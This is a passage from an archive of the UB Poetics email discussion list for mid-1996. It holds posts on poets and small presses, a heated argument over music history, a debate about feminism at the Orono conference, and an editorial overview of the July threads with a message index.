Re the disappearance, to whatever degree, of Enslin (please spell that name right), Tarn, Schwerner et al, I would think this is a sign that, say, Sulfur and its predecessor Caterpillar have not had the lasting impact on the scene that its editor imagines. All of these are interesting poets, but their relation to Olson et al is at some distance (Armand really is part of the scene around NYC that originally led to Caterpillar--he, Antin, Rothenberg, Kelly et al either "too young" or too non-projective to get into the Allen anthology). In the case of Tarn and Enslin, they've lived at some distance from those key urban centers and really don't hustle their work as much as they might.

Nathaniel was in Hoboken the other week for the big Russ/American thang and looked and sounded fine. His work with Grossman/Cape Goliard, which originally brought out the Mayan Letters, Mayakovsky's How are Verse Made, the first English translations of Victor Segalen and Nazim Hikmet, LZ's "A" 22/23,

Henri Lefebvre's Dialectical Materialism, was one of the most intensely great editing projects of the past 40 years. It's impact is still vibrating through the culture.

My favorite Enslin book is an early one: New Sharon's Prospect and Journals. The long poems seemed too much to me to be exercises on the line, fine for a hundred pages, but ultimately fading into a restricted range of possibility. For pure studies of the ear, my own preference has been, say, for Ken Irby, whose work does so much WITHIN the individual line.

All best,

Ron

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443. Bill Luoma
CS & JC
Sun 30 Jun 1996

Chris Stroffolino posted an error in his phone number. These are the true specs below:

464 Monmouth St. #6, Jersey City, NJ. 07302....
[redacted]....

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444. Carl Lynden Peters
Re: of the whole art/spam two generations
Sun 30 Jun 1996

> *Hi. What's the unconscious?*
>
> *Jordan*

jordan, -- what eliot was so afraid of

c.

↑ Index

445. Jordan Davis
of the whole art/spam two generations
Sun 30 Jun 1996

Hi. What's the unconscious?

Jordan

↑ Index

446. Tom Beard
Commonwealth women poets
Sun 30 Jun 1996

Hi all,

I'd just like to second (third?) the recommendations of Michele Leggott's work. Another NZer whose work I find essential is Dinah Hawken, especially "Small Stories of Devotion" - maybe she's not querzblatz enough for some, but I find her poetry innovative and exciting nonetheless.

After mentioning Dinah, perhaps I should put in a word for the Canadian Phyllis Webb - I know her chiefly for her influence on Dinah, but I assume she's well known to the list.

Cheers &c,

Tom Beard.

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447. Tom Beard
Re: Extended Play
Sun 30 Jun 1996

> *But here again, Miles recorded a lot of stuff post-Quintet. Many people who don't like the cool stuff but go wild for "Bitches Brew" might consider Miles a sixties jazz musician. I think both these factions miss the big picture.*
>
> *I might point out that according to these criteria, PiL would be a seventies band, not an eighties one, since Lydon and Levene were part of the English punk rock movement (roughly '76-'78), and PiL's first two albums (1978 and '79) would seem to have to be considered as important marks defining a "postpunk" approach.*

There are some of us who know Davis best via "Tutu" & "Doo-bop", or Lydon best through "Open Up" with Leftfield. Does this make them 80s or 90s musicians? The whole idea of nailing a musician or band down to what someone considers their most "influential" decade seems silly. And does one count this by the time that they recorded their most influential music, or the time upon which that music had most influence? If the latter, then Kraftwerk would be an 80s or 90s band, although they did most of their recording in the 70s.

Someone said that the 80s ended in December 1992 - what was the event that caused this death? Is it something US-specific? Maybe in NZ we jumped from the 50s to the 80s in mid-84 with the end of Muldoon. A lot of it seems tied to personal life changes - my 80s must have started in about '91, when I got a job and was able to afford Armani, whereas everyone else was starting to wear

grunge. Maybe I'm still stuck in the 80s - I still prefer Frankie Goes to Hollywood to Smashing Pumpkins, Versace to Stussy, and Bolly to Spirulina. Maybe my 90s will start if I get made redundant.

Cheers &c,

Tom Beard.

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448. **maria damon**
Re: of the whole art/spam two generations
Sun 30 Jun 1996

In message <v01520d05adfc9de976f2@[166.84.199.56]> UB Poetics discussion group
writes:
> Hi. What's the unconscious?
>
> Jordan

freud made it up, but it works for me
i pay it well.

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449. **Charles Alexander**
Re: Zelevansky
Sun 30 Jun 1996

> *Ward,*
>
> *I'm always interested in the idea of people joining disparate materials together, but I don't know the work of Paul Zelevansky. Can you get me the 100,000 foot overview?*

Ward will probably do this better, but I can give a little background or overview. Paul Zelevansky comes out of the visual art/visual book field. His most well-known work is The Case for the Burial of Ancestors, which indeed invents a visual language, using what look like xeroxed & clip-art images to make a somewhat readable visual text. There at least two and perhaps three books in this series by now, and Zelevansky has made other visual books as well. I think what he is doing is making glyphs, which is something entirely different than Schwerner, who is translating invented glyphs. But the comparison still made some sense to me, at least in part, as a reading of either of them needs an openness to visual/literary invention and to a good sense of humor. I believe that a few years ago American Book Review did a two-issue special feature on visual

literature which was co-edited by Zelevansky and Johanna Drucker. Let me quote from Drucker's The Century of Artists' Books (Granary Books, 1995):

"Not all uses of the book as a self-contained conceptual system are as abstract or analytic as the works just discussed. An interesting contrast to these are the books of Paul Zelevansky, The Book of Takes (Zartscorp, 1976), The Case for the Burial of Ancestors (Zartscorp and Visual Studies Workshop Press, 1981), Shadow Architecture at the Crossroads (CNC, 1988). Zelevansky's works contain an entire universe of references, forms, narratives, codes, and information. The three works are intimately related, though each is distinct in form and functions independently. Offset printed from originals made with rubber stamps, presstype, typewriter, and other low-tech graphic items, the books make striking use of the potential of these media to translate into tones of black and white. Zelevansky also exploits the structures and conventions of book form to their fullest: the momentum of the narrative is interrupted and fleshed out with other information, visual material, jokes, puns, a rich array of graphic elements which continually expand the world which Zelevansky is creating in the book. One the one hand, these are closed systems, ones in which the significance and meaning of the elements, is generated entirely from their relations to each other. On the other hand, as Zelevansky says of his work, "the edges of the page" are "the proscenium which contains the play" but "the screen is porous between us." There's more in Drucker's book, and she knows Zelevansky's work far better than I do. But from what I know I would recommend a look to anyone. Zelevansky is one of the pioneers in book arts/artists' books -- who has influenced many people in useful ways. His language, which I see as influenced by the lettriste movement as well as by rubber stamps and xerox art and mail art, is a wonder. My own sense of Zelevansky's rather lengthy forays into books which are, as Drucker says, "parallel universes structured according to the rules of a symbolic language," is parallel to that of Silliman's sense of Enslin's longer poems, that the books ultimately fade "into a restricted range of possibility." But then, as someone recently pointed out about limits or limitations, just about everybody's work has some limits.

charles

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450. Carnography
Re: Extended Play
Sun 30 Jun 1996

I'm going to say this one more time: If you wish to continue this, I'd appreciate it if you'd backchannel your comments to me personally. There is no reason for people in UB P to be subjected to mere off-topic quarreling. My final post to

Henry was a notice that I wouldn't be responding to previous posts in public out of courtesy. If you'd like to attack me personally, ("arrogant," "insulting," etc) I suggest you take it to email.

This current thread is a petty, impolite flame-war. Ethically, whomever wins has already lost.

All the best,

Rob Hardin

Steve Carll typed:

> *Then he wrote:*
>
> *I don't like to insult musicians and I don't like it when musicians are insulted.*
>
> *Wouldn't it be kind of insulting to a band (of musicians, presumably) to dismiss them as not worthy of commentary?*
>
> *Apparently, you haven't been following this thread.*
>
> *That's a mistaken assumption on your part, not to mention unnecessarily insulting. You can make a point without being so arrogant, can't you?*

That you've misunderstood the context my remark suggests that you haven't been following the thread. This is a charitable supposition on my part and suggests no insult to you. However, your attribution of arrogance to me *is* "insulting." What is more, it is ad hominem and does not address the facts or anything else.

> *The two bands whose musicianship I defended were the Beatles and the Stones. Since I opined that they were not worth discussing on a prosody list even as I *defended* them, you would do well to notice the context of the word *worth* before presuming insult.*
>
> *I'm fully aware of the context, and it still seems like an insult to me. It is possible to insult someone you're trying to defend, ya know.*

Since you've failed to explain what "seems" like an insult to you, it is impossible to take your inference seriously. Your use of the words "you," "the" and "fully" might "seem" insulting to me with as much justification or proof.

What is more, the "possibility" of insulting someone while defending them is very different from tangible proof of insult.

> *In the context of this discussion, my "not worth this much commentary, esp. on a prosody list" is vastly different from your "not *worthy* of comment."*
>
> *I think "vastly" is a bit hyperbolic, Rob.*

Vastly is not at all hyperbolic, because the very idea of dismissing a musician's inherent value (which is what you've accused me of) is vastly different from saying they are not worth discussing in a particular context. Even if you have only a passing interest in semantics, you should recognize this.

Also, your own accusations have, for the most part, been "hyperbolic" or exaggerate: reading "insult" and "arrogance," for example, into flat reponses is to resort to exaggeration instead of answering my point.

> *Also: by saying they were not worth discussing, I was politely suggesting that I was not interested in being dragged into further discussions about the Beatles and the Stones. (Someday, perhaps, my request will be honored.)*
>
> *This is e-mail. Nobody can drag you anywhere you don't want to go. You just have to keep your finger off that "Queue" key (or maybe you have one that says "Send." Whatever.)*

1.) No, this is not merely email. This is a public listserv that goes out to hundreds of people. Effectively speaking, you're addressing me in public.

Also, people who write public posts and responses can, have, and do drag others into pointless skirmishes. They do it by addressing others personally and by consistently misinterpreting their statements and intentions. Your posts are examples of that uncivil phemomenon.

2.) Also, the post in which you called me insulting was to a response to a post in which I did not wish to fight with Henry in public, and that I would backchannel my response to Henry for that very reason. For you to have picked a fight with me over that very post is unconstructive and pointlessly antagonistic.

> *As to the context of "not worth this much commentary":*
> *The overexposed are less worth commenting on than the underpromoted precisely *because* we have been sufficiently buried in commentary.*
> *Every moment spent talking about the overexposed is a moment spent ignoring the underpromoted (those who are most in need of discussion and support).*
>
> *This is a list devoted to discussing poetry, and poets are the least exposed artists of all. And yes, sixties pop music can be relevant, but Jesus Christ--you can discuss the Beatles with anyone anywhere.*
>
> *That's what I thought I was doing. Plenty of moments to go around, too.*

Actually, you were defending the Beatles (to someone who had already defended them)--hardly the terrain of the underdog. By the time the Beatles are underexposed, we'll both be dead from old age.

> *Keats, whom you quote, has an importance beyond his status as a Lake Poet and a poet of the Romantic period. Would you say that history is incorrect in calling him a poet of the Romantic Period? If so, then how does his importance contradict the "tiny confines" of history?*
>
> *History is inadequate in calling Keats a poet of the Romantic era.*

(By the way, your use of the phrase "inadequate in calling" is illiterate.)

> *summation like that is a fine starting point for a further exploration of Keats' work, etc., but when a phrase like that gets used as if nothing more need be said about them, I would say it's reductive.*

My use of the phrase "mainstream sixties artist" did not imply that "nothing more need be said" about the Beatles in other contexts. The use of the word "mainstream," ie, known and discussed, and "sixties," as in sufficiently documented, are not "reductive" (do not over-simplify the subject). There was a point in the Nineteenth Century at which very little that was new was going to be said about Lord Byron--not for two or three more generations. At that point, people might have said his poetry was "not worth" endless commentary on a mailing list devoted to watercolors.

This does not mean that someone on that list who referred to him as a "popular Romantic poet" would be oversimplifying. It means that the relevance of the discussion was being questioned.

Furthermore, I was not giving UB Poetics some sort of ultimatim about the subjects it may or may not address. I spoke of its relevance while explaining why I did not wish to speak of it anymore. Your paraphrase is yet another example of your persistent misunderstanding of my motives and intentions.

> *I left the sixties when I was three and discovered the Beatles in 1978....Their music has been a big influence on my person and my writing...and I'm sure that's true for some other people on this list, which probably explains why the topic came up at all.*
>
> *Actually, the topic came up because people who span two generations were talking about it. I was born in the sixties; another gentleman who was posting mentioned having played in bands for three decades, if I'm not mistaken. If you really feel that your generation (ie, mine, since we were both born in the sixties) and the people on this list are the last source of fresh insights on a well-explored subject, then it would seem that boomers aren't the only generation that is guilty of self-importance.*

> *As I said, I remember how the topic came up, and your version of it doesn't contradict mine.*

You said, but you did not prove. Therefore your suppositions say nothing.

> *But I didn't say "our" generation was the "last source of fresh insights" on anything. We're all capable of fresh insights, even on so-called "well-explored" subjects, not because of what generation we belong to but because we're human beings and we have minds that keep turning things over.*

Keep believing that, Steve, and you'll never say anything new. What is it exactly about being "human beings" and "having minds" that makes us a priori original?

> *Some might characterize that last statement as indicating a sense of self-importance, but let's at least be accurate about its nature. But the reason I brought this point up is that the Beatles, and the psychedelic pop song form they helped create, informs the poetics of at least one person on this list (that I know of), thus validating their discussion in POETICS.*

See above and above and above. No one forbade you to post on any subject, no one called for a vote on topics that ought to be banned, thus no "validation" is required. I merely explained why I, personally, was not publicly responding to Henry and why I did not choose to argue at length over this subject. That you missed the context and responded publically is one more proof that the meaning was lost on you.

> *Does anyone call Miles Davis a "fifties jazz musician"?*
>
> *Miles was recording with Parker before the fifties. However, the Miles Davis Quintet was a fifties ensemble (even though their recordings stretched into the sixties).*
>
> *But here again, Miles recorded a lot of stuff post-Quintet. Many people who don't like the cool stuff but go wild for "Bitches Brew" might consider Miles a sixties jazz musician. I think both these factions miss the big picture.*

So far, this is the most interesting thing you've said.

But I didn't characterize Miles Davis himself as a fifties musician (though that label is far more accurate than "sixties"). I characterized the quintet as a fifties ensemble, which is more specific.

It's an interesting question to ask about individual composers, isn't it? Yet the discussion becomes a kind of etymological error detection when applied to convenient historical appellations. It is usually considered acceptible to refer to Stravinsky as a neo-classical modernist composer despite his Russian Nationalist ballets, despite his later experiments with dodecaphony. It is very possible that, at some point, the neo- classical label will shift, as the significance of

Woolf's _Orlando_ became, not a minor psychological fairy tale, as it was viewed by earlier critics, but the early example of Magic Realism. This deferred memory shifting of the canon is important and exciting. But earlier references to her as a Bloomsbury psychological novelist were not reductive in the context of general identification. Earlier critics had no way of understanding or predicting magic realism. They only wanted a way to identify Virginia Woolf's work.

A venomous attack over what, in your opinion, is an incorrect critical term, seems venom misapplied.

> *When the band started?*
>
> *No, when the band made their first important mark via recordings and public performance, and what generation the band members actually belonged to.*
>
> *And who decides these things? Or is there some natural consensus that I've missed out on in my naivete?*

There is in fact a critical consensus at work. The Beatles are generally referred to as a sixties phenomenon, Elvis as a fifties phenomenon, and so on. If you wish to contest this, there is no point in shooting the messenger.

> *I might point out that according to these criteria, PiL would be a seventies band, not an eighties one, since Lydon and Levene were part of the English punk rock movement (roughly '76-'78),*

The earlier activities of the musicians in PIL are not what define the band chronologically. It is the period of the activity of the band itself. The musicians, who were of varying ages, would be a second consideration in this case.

Once again, have you never read a biography or book about such bands? Their generations are constantly defined along these lines. What would you ask biographers and historians to use in place of such terms and why? How would the terms that you offered, whatever they might be, prove less "reductive" than the ones used now?

> *and PiL's first two albums (1978 and '79) would seem to have to be considered as important marks defining a "postpunk" approach.*

This is a valid point, since PIL's first album and public performance occurred in 78. Also, I regard their first two albums as the most historically important ones (though Flowers of Romance is my favorite). However, I'd argue that the focal point of their activity (78-93), and of postpunk as a musical phemomenon, pivots on the early eighties. My brief work with PIL occurred in 1985, after _This is What You Want... This is What You Get_, so I'm probably myopic about PIL's history.

> *I think these*
> *criteria are a highly suspect and not ultimately very helpful shorthand.*

Literally speaking, all criteria are "suspect." But to attack the use of historical criteria in general is less helpful and more "suspect" than instances of such criteria.

> *The Beatles were certainly a part of the sixties generation. To conclude that they were incapable of musical development beyond the peak point of their generation--let alone that their musical influence is insignificant--is your own supposition and does not follow logically from anything that I've said.*
>
> *So when you told Henry Gould that mainstream sixties bands are only interesting in a cultural study of that era, it was way out of left field for me to conclude that you were asserting that they're uninteresting in any context other than a cultural study of that era?*

1. You're paraphrasing a post that predates this discussion. What's more, you're expecting me to address your hearsay as if it were a quote.

2. A discussion of the musical worth of pop music in general is not the same as a discussion of one pop musician's influence on other pop musicians. Even as you paraphrase irrelevant posts, you manage to confuse one category of comparison for another.

> *Furthermore, I would argue that we should talk about other artists precisely because the influence of mainstream sixties bands is so pervasive. Oasis, probably the least interesting band of the nineties, is an example of what comes from obsessing over the Beatles for perhaps the billionth time. There comes a time when dominating presences, however good, become dead ends: at this point, it's safe to say that Elvis has left the building.*
>
> *I agree with you about dead ends, but you know what? I kind of like Oasis. Their first album was derivative and bland; but _(What's the Story) Morning Glory?_ shows a vast improvement in their ability to write pop songs with nerve and verve.*

I consider Oasis's second album to be musically and lyrically meaningless. If that's songwriting nerve, then late Paul McCartney is shocking.

Competent songwriting and production? That I concede. But _Maybe_ (and other songs on the album) is one of the most derivative Beatle cops I've ever heard.

> *You and I both know that there are hundreds of less*
> *interesting bands neither of us will ever hear of for precisely that reason*

On the contrary: there are hundreds of bands we'll never hear on the radio because they show *more* nerve and verve than bands like Oasis.

> *and even in the realm of stuff that gets some exposure, what about Alice in Chains, Toad the Wet Sprocket, and Counting Crows?*

What about them? You haven't said whether you consider these bands to be examples of what is examplary or uninteresting.

http://www.interport.net/~scrypt

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451. Eliza McGrand- CVA Guest

comments on women today and oppression

Sun 30 Jun 1996

---

re ms. phillip's dismay about a conference attendee's comments that women today do not realize that they are oppressed and that white middle class women are the last to realize they are oppressed, i can very easily see much that might have motivated those comments and agree. i have seen entirely too many anti-feminist slings recently, as if one is being somehow radical and brave to trash all those dingy feminists. and i can easily, only too easily imagine losing my temper if i thought i heard yet another pseudo-daring slam on feminists.

people have been slamming feminists for hundreds of years -- white master-owners; male husbands enjoying such privileges as beating a wife with anything smaller than the circumfrance of their thumb, being the only one in the partnership who can own or inherit land, being the only partner who have a bank account or vote; men who can vote, own land, have a bank account, work at any number of professions while women cannot; men being asked to desist from disenfranchising women; academics (male and female) who profess, as dale spender has pointedly put it, that "you don't have to read women's literature to know it isn't any good" in her book on sexism in literature; academics who refuse to hire women in tenure track positions; academics who consistently give lower marks and bad reviews to work by women, while giving accolades to work of comparable quality by men; etcetera, etcetera. it isn't, after all, so very new to slam feminists and those who do so certainly aren't the sort of company i would like to keep. perhaps mr. howe meant nothing disrespectful toward women. but with the comments as reported, i have only too many painful experiences which lead me to agree.

in other words, i can't say how many times i have heard some younger woman tell me, often with a placating smile (as if being, publically, a "good girl"), that SHE is certainly not oppressed and doesn't feel women are oppressed anymore. she tells me this while she is typing, filing, and scurrying away at a shit job for lower pay than men her age and ability. she has also, often, just told me about the job(s) she left because she was sexually harrassed, the boyfriend she lives with who expects her to wash all the dishes, do the laundry, cook, and clean,

the same boyfriend who has perhaps just left her for a younger prettier woman. she leaves work to paint one more painting that will not get exhibited in a museum because although over half of the people in art classes are women, less than a tenth of exhibited or reviewed artists are women (and this situation exists for women writers, in large measure as well -- have you ever noticed how in anonymous entry contests, the winners are half or over half women, but in contests where names are used, 1/5 to 1/3 of the winners are women?). and we watch while a black or latino woman cleans the building around us and tells us, if we ask, how she was an accountant at home, or how her husband doesn't let her go home alone so she will have to stay here and wait for him, or one of us in the room struggles to hide the bruises from being beaten by an abusive partner while the residents of rooms on all sides of us shut their ears since "he's her boyfriend" so that makes it all right.

i am sick of hearing that women are not oppressed. i am sick of hearing the very feminists whose damned hard work has gotten women the right to vote, to hold about 3/4 more sorts of jobs than they used to, the right to start a bank account without their husband's signature to give them permission, and so on and so on jeered at, disowned, and dismissed as they take on yet another painful, difficult battle for the very women who will not stand with them, yet benefit by their labor.

from this ground, such seeds as the comments you report seem only too understandable.

and while i'm on my soapbox, i have found myself distanced and pained by the numerous readings listed with no women writers, by the numerous lists of admired writers with at best only one woman for every eight men, and by the books and book lists with almost no women. the thread on british women poets has been, to say the least, a delight and i'd love to see more of the same.

women write too.
e

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452. Lisa Amber Phillips
Orono Others
Sun 30 Jun 1996

This is my inaugural message to the POETICS list, but I feel as if much of what I will say is actually a continuation of many of the amazing conversations I had while at Orono. I'm not much of a rah-rah type, but I was reeeeeelly blown away by the quality of the conference (no mean feat to sustain that for five days), the high concentration of people doing original research in their subjects, and the warm atmosphere of camaraderie that was inclusive of a relative

stranger like myself. I don't know if anyone else had this experience, but for me, coming from a small department where, as one of my profs so astutely said, "few people are mad for poetry," the conference experience was a heady combination of banquet and boot camp. All this last week I've felt like Oliver with his bowl pleading, "Please, sir, I want more." Instant community.

On to a few more utopic remembrances: meeting Kevin Killian and Dodie Bellamy (again), meeting Roger Conover and Keith Tuma smoking outside the stairwell while talking about theatrical suicides (I still don't quite get it how Arthur Cravan is supposed to be a "metaphorical" suicide. Keith, any insight?), meeting Michael Basinski, whose work I have admired for a while, a post-cash bar beer and pistachio fest w/George Hartley, Chris Stroffolino, Barret Watten, Al Golding, Star Black, Wendy Kramer, et al (with Wendy punctuating the conversation with her amusing remarks about pinup girls), staying up til 4a.m. chain-smoking and arguing with Dave Kellogg, Chris Stroffolino and Wendy Kramer (I think I slept maybe 20 hours altogether the whole time I was in Orono), receiving the gift of "Jhon the Animal Song" from Natalie Basinski (ringing in my head STILL one week later), going to plenary sessions and listening to the voices of people whose work I've read and admired for some years now, going to poetry readings and being moved by the performances of people who I've only ever experienced in print (or never read or heard of at all), spending most of the Bar Harbor afternoon drinking beer in The Thirsty Whale (and then only having ten minutes to eat our lobster at that nifty '50s restaurant), not to mention meeting a battery of people doing work on Mina Loy, such as Josh Weiner, Susan Dunn and Marisa Januzzi (I know there were more, but I only met so many), and of course, Keith Tuma and Roger Conover.

There were some sour notes, of course, but it doesn't reduce the wonder of the experience for me; rather it gave me more to think about after I left. For example, I wasn't at the Barrett Watten talk on Betty Page, but I, too, was disturbed by what sounded like a knee-jerk response from some feminist attendees, and particularly bothered by someone's efforts to bring about some kind of "punishment" for Watten (demanding the NPF give 'im a spanking or something). And, of course, the commons food was execrable, which made me glad I brought my big cooler of food instead of buying all those tickets. The insistence of the bus drivers that we stop at that Visitor's Center and the topof Cadillac Mountain (?) seemed pointless (although it appealed to my surrealist sensibilities) on our Bar Harbor trip, and all the more annoying since we only had a couple of hours in Bar Harbor because of it.

I also wanted to bring up another small brouhaha from the Cage/Mac Low panel on the last day of the conference, mostly because it's been sticking in my craw all week. Someone made a comment about the Trillings (re: the "Thrilling the Trillings" paper that was delivered at the beginning of tha panel), and I believe

Bill Howe responded with an observation or opinion about Diana Trilling, which caused one of the other attendees to tell him his view was "contemptible" (while smiling at him and saying "no offense". No offense? Come on.) and that it was easy for him to say, sitting there enjoying his "white male privilege" etc. etc. This person then went on to say that it is white middle class women who are the last to realize their oppression (as if this makes them more oppressed and more victimized than non-white women of poverty or the working class), AND that before the sixties women didn't realize they were oppressed, AND that "young women of today" don't realize they are oppressed: "They think they are free." This of course places women like this particular person in the small happy category of women from the sixties and seventies who DO realize their oppression and are soooooo convinced that they are the only ones with the 20/20 gender-vision. I was too stunned to respond at the time (I had accumulated few hours of sleep in the last several days, remember), but I can now, in a word: BULLSHIT. I would be interested to hear responses from others who attended that panel--some other perspectives would be valuable as I further sort out my complicated feelings about it.

Anyhow, thanks to all the folks I met for their friendliness and willingness to share their ideas. I should sign off now--I'm not a big-bandwidth person ordinarily. I'd also like to wave in the general direction of any Creative Studies alumni who might be on this list (you know who you are) and ask, wuzzup?

Lisa Amber Phillips

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453. **Joel Felix**
Ronald Johnson Broadside (ad)
Sun 30 Jun 1996

Poetics listers: your indulgence--

LVNG magazine inaugurates its Supplementals Series with a broadside of Ronald Johnson's monument _in memoriam_ AIDS. (Sidebar: Ronald Johnson celebrates this year the complete publication of his long poem ARK, from Living Batch Press.)

****

BLOCKS TO BE ARRANGED IN A PYRAMID

Then with a sweep
blindly eradicate
perception itself
afire with egress

pale stampede
into the darkness
caught at the throat
Chase remorseless

yield redbird perch
grayest tombstone
assembled Holy Ghost
chrysanthemumed

****

The poem, comprised of 66 quatrains, or blocks, is printed in the shape of a pyramid on a 19" by 25" broadside, in an edition of 366. 66 are signed and numbered by the poet.

Printed June 1996
$10 per copy; $15 signed

The poet says of the poem: "When these short quatrains began (sometimes swiftly) to come, it took long months to understands this must be my Journal of the Plague Years. That time AIDS began to kill more brave young, in a generation, than any other war. It was an elegy, an In Memoriam in effect, long bottled up...I came to imagine these as blocks of incised stone, which would be placed--as they seemed to be about death resurrection, first and last things--in a circle. Insistent they were, but not necessarily connected. Then one day they seemed to crystallize into a pyramid: even more fitting. A set of blocks anyone could assemble as an act of remembrance."

Backchannel orders to

[redacted]

or,

LVNG
PO Box 3865
Chicago, IL 60654-0865

or call

[redacted]

Thanks, and a throaty cheer for Poetics.

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

July 1996

695 messages · Mon 1 Jul 1996 – Wed 31 Jul 1996

It is not true that the list ignored the news that July. It kept a different ledger. A jetliner came apart over Long Island on the seventeenth with two hundred and thirty aboard, and a pipe bomb went off in the Olympic park at Atlanta on the twenty-seventh, and neither appears in six hundred and ninety-five letters; but on the sixteenth Michael Boughn posted under the heading Bad news, and the room went into mourning for a week. Coach House Press was closing after thirty-one years — Blaser, Bowering, Ondaatje, Thesen — and Boughn knew whom to blame: *“Chalk up another victory for the New York bankers”*. That was July’s catastrophe, and the room grieved it properly, while doing the least defensible thing it did all year.

For the month’s largest business, some forty letters under List wars and List-personship, was the list discussing its own conduct. The occasion was a panel at Orono: Aldon Nielsen had said something, Robert von Hallberg had disputed it, Keith Tuma had forwarded Nielsen’s remarks to von Hallberg, who was not a member, and von Hallberg had replied to a list he had not joined. From this the room extracted a fortnight of procedure — whether the forwarding was permissible, whether the reply was, whether he ought now to subscribe — with a subsidiary quarrel over lurkers, whom Herb Levy had characterised in terms Daniel Bouchard quoted back at him before asking, reasonably, *“Who can blame lurkers for keeping silent?”*

It took Marjorie Perloff to say what the month was. She found the controversy slightly absurd, and gave her reason: Lorenzo Thomas, *“a Live Black Poet and the only one present”* at Orono, had given a moving talk on Melville Tolson, had not been asked to read, and was being discussed by nobody — while the question of who forwarded what to whom was on its fourth day. And here is the part I cannot get past: maria damon, who wrote fifty-two times that July and had made this point already, replied only that *“this is exactly what i was trying to point out”*. She had said it. It became audible when Perloff said it.

The month’s other thread asked what a poem in extremity is worth, and got an answer nobody wanted. Victim art had been discussed for a week in the abstract when Dan Horne wrote from New Zealand to say it had happened to him: a nurse had asked him to read the poems of a teenage patient recently dead of cancer,

and say whether an editor might take them. He read them. He told her *"the poems didn't align themselves with the ideologies"* of the journals he knew, and felt worse for saying it, and said so. Elsewhere the list, doing the thing it is actually good at, assembled a shelf — Blackburn's journals, Curnow's daybook, Helene Davis, Pekar and Brabner — for anyone who wanted to read the illness rather than adjudicate it.

And in Toronto the premier of Ontario, asked about the press his government had cut by seventy-four per cent, told reporters that the company's blaming the province *"probably speaks to their management capabilities"*. Boughn printed it from that morning's Globe without comment, which was the correct handling. Charles Alexander wrote the epitaph and did not know it: *"One good thing come to an end. Bless it."* I have set the etiquette and the elegy where July put them, four days apart, because this is the month the room spent forty letters establishing who was entitled to speak to it, while a press that had printed thirty-one years of poems went under, a living poet's talk went undiscussed, and a dead girl's poems were weighed against the ideologies of the journals and found not to fit.

— Kristen M. Fabians

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630. Eliza McGrand- CVA Guest — on the interpretation of posts, or, Good Reasons To Lurk

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631. Thomas Bell — Re: feelingth, nothing more than feelingth... try to forget
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633. George Bowering — Re: Bad news
634. George Bowering — Re: A plea for Ginny
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636. Lisa Jarnot — new books/soho letter press
637. Thomas Bell — Re: comparative suffering
638. Carnography — Re: feelingth/holocaust
639. Gabrielle Welford — Re: comparative suffering

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640. Robert Drake — seattle in sept. (forwarded message)
641. Carnography — Susan Walsh reported missing, 7/16/96
642. Michael Coffey — poetry month, as reported in pw
643. Gabrielle Welford — Schlafly letter (fwd)
644. Gabrielle Welford — English-only Update -- VI (fwd)

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645. Aldon L. Nielsen — Re: indigestible?
646. Pierre Joris — EMF GENERAL ALERT (fwd)
647. Gwyn McVay — Re: English-only Update -- VI (fwd)
648. maria damon — Re: comparative suffering
649. Pritchett,Pat — Re: indigestible?
650. Eliza McGrand- CVA Guest — Re: feelingth/holocaust
651. Gabrielle Welford — Re: English-only Update -- VI (fwd)
652. Maria Damon — Re: feelingth/holocaust
653. Michael Leddy — Lacy and Creeley et al.

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654. Aldon L. Nielsen — Re: Jazz/Text alert
655. Aldon L. Nielsen — Re: this crime to the writing fraternity (fwd)
656. Thomas Bell — cancer poetry
657. Eliza McGrand- CVA Guest — Re: cancer poetry

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658. Bob Holman — Gloria Tropp
659. Tony Green — Re: cancer poetry
660. Burt Kimmelman — Re: cancer poetry

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661. Aldon L. Nielsen — Re: dp
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663. FUNKHOUSER CHRISTOPH — cancer poetry
664. Robert Drake — Re: cancer poetry
665. Bob Gale — Line Break
666. Bob Gale — spoken word recordings
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668. Pritchett,Pat — Re: spoken word recordings
669. Robert Drake — Re: spoken word recordings
670. maria damon — Re: spoken word recordings
671. David Baratier — Re: Spoken Word recordings
672. Eliza McGrand- CVA Guest — Re: spoken word recordings
673. maria damon — Re: spoken word recordings
674. maria damon — bargain books, mpls
675. Bob Holman — Amygism

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676. Aldon L. Nielsen — Re: spoken word
677. Bob Gale — (no subject)
678. Sylvester Pollet — cancer poems
679. JOEL LEWIS — melvin tolson
680. Douglis Beck — Re: POETICS Digest - 28 Jul 1996 to 29 Jul 1996
681. maria damon — Re: POETICS Digest - 28 Jul 1996 to 29 Jul 1996
682. maria damon — Re: conference fwd
683. Robert Drake — Re: bargain books, mpls

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686. Charles Alexander — gone
687. maria damon — conference
688. Laura Moriarty — Re: cancer poems
689. Julie Marie Schmid — Re: bargain books, mpls
690. Tristan D. Saldana — Language Poetry; Deconstruction; New Criticism
691. maria damon — Re: bargain books, mpls
692. George Bowering — Re: address for Christopher Dewdney
693. T-Bone Prone — Re: Language Poetry; Deconstruction; New Criticism
694. Ian Wilson — Re: Language Poetry; Deconstruction; New Criticism
695. george hartley — Re: Language Poetry; Deconstruction; New Criticism

1. Peter Quartermain

Re: british women poets

Mon 1 Jul 1996

There's an astonishing number of really good women poets around. To the list of British and Commonwealth women poets alreadty listed by Maria Charles Daniel Rod John Keith and others, let me add: Catherine Walsh is Irish, and as Keith hinted, would be deeply insulted by being called British; among Brits not mentioned yet (but let me too add a plug for Maggie O'Sullivan,. Geraldine Monk, Wendy Mulford, Denise Riley) Bridget Penney, Caroline Bergvall, Frances Presley, Harriet Tarlo, Grace Lake, Vittoria Vaughan, Maggie Helwig (Canadian, living in London), Helen Macdonald and Jennifer Chalmers; if you want to step back a little in time don't forget writers like Veronica Forrest-Thomson or even Frances Horovitz... . . In Canada there's -- in more or less random order -- besides the much neglected Phyllis Webb already mentioned, M. Nourbese Philip, Catriona Strang, Melissa Wolsak, Sharon Thesen, Daphne Marlatt, Karen Mac Cormack, Lola Lemire Tostevin, Lisa Robertson, Christine Stewart, Julia Steele, Hilary Peach, and Karlyn Koh. The list goes on and on -- there's gazillions of others, all so-called "experimental." Alternative might be a better word. I don't know the Scottish and Welsh scene at all, someone should chip in here -- maybe Romana Huk? Eck Finlay if he's around? (As soon as I send this I'll no doubt think of lots of others). Good reading!

At 01:57 PM 6/28/96 -0400, Steve wrote:
>A friend of mine is looking for suggestions of British or Commonwealth
>women poets of the 20thC to teach in an upcoming course, and i was rather
>embarassed at how few names i cld summon off the top o' the noggin. Any
>suggestions, for my own edification, and my friend's?
>
>thanks, steve
>
>

+ + + +

2. **Aldon L. Nielsen**
Re: Jacquee la Mousse
Mon 1 Jul 1996

